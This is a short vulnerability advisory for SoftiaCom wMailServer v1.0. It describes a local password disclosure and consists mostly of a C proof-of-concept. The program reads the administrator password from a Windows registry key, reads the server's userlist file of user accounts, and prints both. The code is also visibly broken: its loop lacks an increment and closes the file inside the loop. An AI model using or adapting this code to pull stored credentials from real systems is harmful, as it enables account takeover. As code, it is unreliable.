Software: SoftiaCom MailServer Corporation: DarWeb Version: v1.0 (v2.0 is a fake) Vulnerability: Local Password Disclosure ------------------------------- BACKGROUND __________ SoftiaCom design and build software utilities in communication and network server. WMailserver is an internet email server able to listin in the appropriate mail port to fetch incoming emails from the net. You can add users and manage them, avoid spam. Source: www.softiacom.com Proof of Concept ________________ /************************************** # Vulnerability: Local Password Disclosure # Discovered on: July 9, 2005 by SecuBox Labs # Severity: Normal **************************************/ #include <windows.h> #include <stdio.h> #define BUF 100 LONG lRet; HKEY hKey; DWORD dwBuf=BUF; char pwd[BUF], fichier[BUF], donnees[BUF]; int main() { if( RegOpenKeyEx( HKEY_CURRENT_CONFIG,"Software\\Darsite\\MAILSRV\\Admin",0,KEY_QUERY_VALUE,&hKey) !=ERROR_SUCCESS ) { fprintf( stdout, "Aucune clef wMailServer en vue !\n" ); return -1; } if( RegQueryValueEx( hKey,"",NULL,NULL,(BYTE *)&pwd,&dwBuf) != ERROR_SUCCESS ) lstrcpy( pwd,"Vide\n" ); fprintf( stdout, "\n\n-------------------------------------------\n" ); fprintf( stdout, "SoftiaCom Software - wMailServer v1.0\n" ); fprintf( stdout, "Local Password Disclosure Vulnerability\n\n" ); fprintf( stdout, "Discovered by SecuBox Labs\n\n" ); fprintf( stdout, "-------------------------------------------\n\n" ); fprintf( stdout, "Mot de passe Administrateur\t: %s\n", pwd ); int i; FILE *fp; char ch[100]; strcpy(fichier,"\\WINNT\\MAILSRV\\userlist"); if((fp=fopen(fichier,"rb")) == NULL) { printf("Pas cool !\n"); return -1; } for(i=0;i<99;i ) { ch[i]=getc(fp); strcpy(donnees,ch); fclose(fp); } fprintf( stdout, "\nListe des comptes utilisateurs\n\n %s\n", donnees ); return 0; }